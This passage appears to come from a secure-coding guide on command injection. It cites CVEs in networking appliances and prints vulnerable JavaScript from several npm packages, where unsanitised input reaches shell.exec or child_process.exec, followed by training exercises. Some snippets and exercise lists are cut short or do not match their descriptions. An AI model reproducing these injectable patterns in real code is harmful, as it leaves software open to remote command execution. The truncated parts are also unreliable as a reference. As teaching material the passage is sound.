findings can be found in SAM’s blog writeup.
The following are some examples of security vulnerabilities identified in networking and security
appliances:
[10]
1. CVE-2021-28800 discloses a command injection vulnerability reported to affect QNAP NAS running
legacy QTS versions. QNAP was found vulnerable multiple times to command injection
[11]
vulnerabilities. One such security issue from 2017 allows remote code execution and features
publicly available exploit code on the web.
[12]
2. CVE-2022-1388 discloses remote code execution vulnerabilities stemming from command injection
in F5’s BIG-IP networking and security appliance. Proof of concept exploits and evidence of
exploitation in the wild have been published and observed in public chatter.
Exercises
The following are recommended exercises to engage your team in real-world implications of command
injection vulnerabilities in the wild:
1. Find a CVE report for a command injection vulnerability in a Linksys device (or networking or security
appliance). Discuss the impact of this vulnerability and how it could be exploited in the wild. Find a
2. Can you find a top-tier vulnerability that was exploited in the wild and features a command injection
attack vector? Top tier vulnerabilities are those so widespread and dangerous that they have been
recognized with their own names. (Hint: Shellshock CVE-2014-6271 and exploitable container use-
case).
The CVE-2023-26107 security advisory published on March 6th, 2023, describes a command injection
vulnerability in the runCmdLine function of the sketchsvg library. The vulnerability is caused by the
shell.exec function, which is vulnerable to command injection. The shell.exec function executes a
command line tool to convert Sketch files to SVGs.
The vulnerable code manifests in lines 109-120 of the sketchsvg/lib/index.js file as follows:
sketchsvg/lib/index.js
runCmdLine(allLayers, fileName) {
return new Promise((resolve, reject) => {
allLayers.layers.forEach((layerObj, idx) => {
const id = layerObj.id;
const name = encodeURIComponent(layerObj.name);
/* eslint-disable max-len */
shell.exec(`${sketchTool} export layers ${fileName} --item=${id}
--filename=${Math.random()}--${name}.svg --output=${__dirname}/tmpsvgs
--formats=svg`);
count++;
resolve();
});
});
}
Exercises
The following are recommended exercises to engage your team in application security:
The versionn npm package is a library for managing version numbers for Node.js projects packaged as
npm modules.
The CVE-2023-25805 security advisory published on February 19th, 2023, describes a command injection
vulnerability in the gitfn.js file of the versionn library. The vulnerability is caused by an insecure use
of the child_process.exec function to commit and tag the version number. This security vulnerability
was fixed in version 1.1.0.
versionn/lib/gitfn.js
GitFn.prototype = {
tag: function (cb) {
var cmd = ['git', 'tag', 'v' + this._version].join(' ')
this._exec(cmd, cb)
},
untag: function (cb) {
var cmd = ['git', 'tag', '-d', 'v' + this._version].join(' ')
this._exec(cmd, cb)
},
commit: function (cb) {
var cmd = ['git', 'commit', '-am', '"' + this._version + '"'].join(' ')
this._exec(cmd, cb)
},
_exec: function (cmd, cb) {
child.exec(cmd, this._options, cb)
}
}
For your team to become more aware of application security, I recommend the following exercises:
1. Can developers on your team identify and explain the primary reason for the vulnerability?
2. Can developers in your team suggest which alternative Node.js APIs should be used instead, to
mitigate the command injection vulnerability?
a. Is the technique used to fix the vulnerability the best approach? How else could the vulnerability
have been fixed?
b. What else can you learn from the security fix? Hint: Software testing is a key part of software
development
The gry npm package is a library providing a wrapper for the git command line tool.
The CVE-2020-36650 security advisory published on January 11th, 2023, describes a command injection
vulnerability in the gry library. The following vulnerability was fixed in version 6.0.0:
gry/lib/index.js
/**
* exec
* Executes a git command in the repository directory.
*
* @name exec
* @function
* @param {String} command The git command that should be executed in the
repository directory.
* @param {Array} args An array of options passed to the spawned process. This
is optional (if not provided, `exec` will be used instead).
* @param {Function} callback The callback function.
* @return {Gry} The `Gry` instance.
*/
exec (command, args, callback) {
// Handle spawn
if (Array.isArray(args)) {
eargs.push("git", [command].concat(args));
} else {
eargs.push("git " + command.trim());
}
Exercises
1. What is different about this command injection vulnerability compared to other packages and their
use of the child_process API? What can you learn from this?
4. How does this security vulnerability impact the package’s popularity and reach?
The global-modules-path project is a popular npm package that provides a way to get the path to the
global node_modules directory. As of this writing, the package has over 134,244 weekly downloads.
The CVE-2022-21191 security advisory published on January 13th, 2023, describes a command injection
vulnerability in the global-modules-path library and was fixed in version 3.0.0.
global-modules-path/lib/index.js
return null;
};
// whichResult: /usr/local/nvm/versions/node/v4.2.1/bin/mobile-cli-lib
// lsLResult: lrwxrwxrwx 1 rvladimirov rvladimirov 52 Oct 20 14:51
/usr/local/nvm/versions/node/v4.2.1/bin/mobile-cli-lib ->
../lib/node_modules/mobile-cli-lib/bin/common-lib.js
const whichResult = (childProcess.execSync(`which ${executableName}`) ||
"").toString().trim(),
lsLResult = (childProcess.execSync(`ls -l \`which ${executableName}
\``) || "").toString().trim();
}
};
You can engage your team in application security by doing the following exercises:
2. What can you learn about the package’s dependent packages? How did that change between major
versions 2.x and 3.x? What can you learn from that about vulnerable dependencies?
3. How did the maintainer fix the vulnerability? What can you learn from the fix?
The semver-tags npm package is a library that provides an API to list tags from a Git or Subversion
source code repository.
The CVE-2022-25853 security advisory published on February 6th, 2023, describes a command injection
vulnerability in the getGitTagsRemote function. This security issue was not yet fixed at the time of this
writing.
The following code snippet shows the vulnerable code across lines 21 to 35:
semver-tags/lib/get-tags.js
const cp = require('child_process')
Exercises
The following are recommended exercises to engage your team in the importance of application
security:
2. What other functions in the library use Node.js APIs? Can you share insights into their security
aspects?
5. Can you find other functional issues in the code? Hint: error handling in getGitTagsRemote.
The s3-uploader npm package is a library that provides an API to upload image files to Amazon’s AWS
S3 service.
The CVE-2021-34084 security advisory published on June 3rd, 2022, describes a command injection
vulnerability in the package.
An attacker can pass a malicious filename to the upload function to exploit the vulnerability. The
following code snippet shows an example of a malicious filename that execute the touch command on a
Unix system:
s3-uploader/index.js
'use strict';
const fs = require('fs');
const extname = require('path').extname;
const S3 = require('aws-sdk').S3;
if (!bucketName) {
throw new TypeError('Bucket name can not be undefined');
}
module.exports = Upload;
Exercises
Given the above source code and knowledge of the vulnerable package:
3. What can you learn about managing open-source dependencies from this vulnerability?
[1] Python code snippet from SonarSource’s Code Security Advent Calendar: https://www.sonarsource.com/knowledge/code-
challenges/advent-calendar-2022
[2] Strapi project found vulnerable to command injection in CVE-2019-19609: https://security.snyk.io/vuln/SNYK-JS-STRAPI-536641
[3] smartctl npm package found vulnerable to command injection in CVE-2022-21810: https://security.snyk.io/vuln/SNYK-JS-
SMARTCTL-3175613
[4] git-promise npm package found vulnerable to command injection in CVE-2022-24376: https://security.snyk.io/vuln/SNYK-JS-
GITPROMISE-2434310
[5] nodemailer npm package found vulnerable to command injection in CVE-2020-7769: https://security.snyk.io/vuln/SNYK-JS-
NODEMAILER-1038834
[6] https://www.cisa.gov/news-events/ics-advisories/icsa-23-110-01
[7] https://nvd.nist.gov/vuln/detail/CVE-2020-2509
[8] https://www.cisa.gov/known-exploited-vulnerabilities-catalog
[9] https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-117a
[10] https://www.qnap.com/fr-fr/security-advisory/qsa-21-28
[11] CVE-2017-6361
[12] https://nvd.nist.gov/vuln/detail/CVE-2022-1388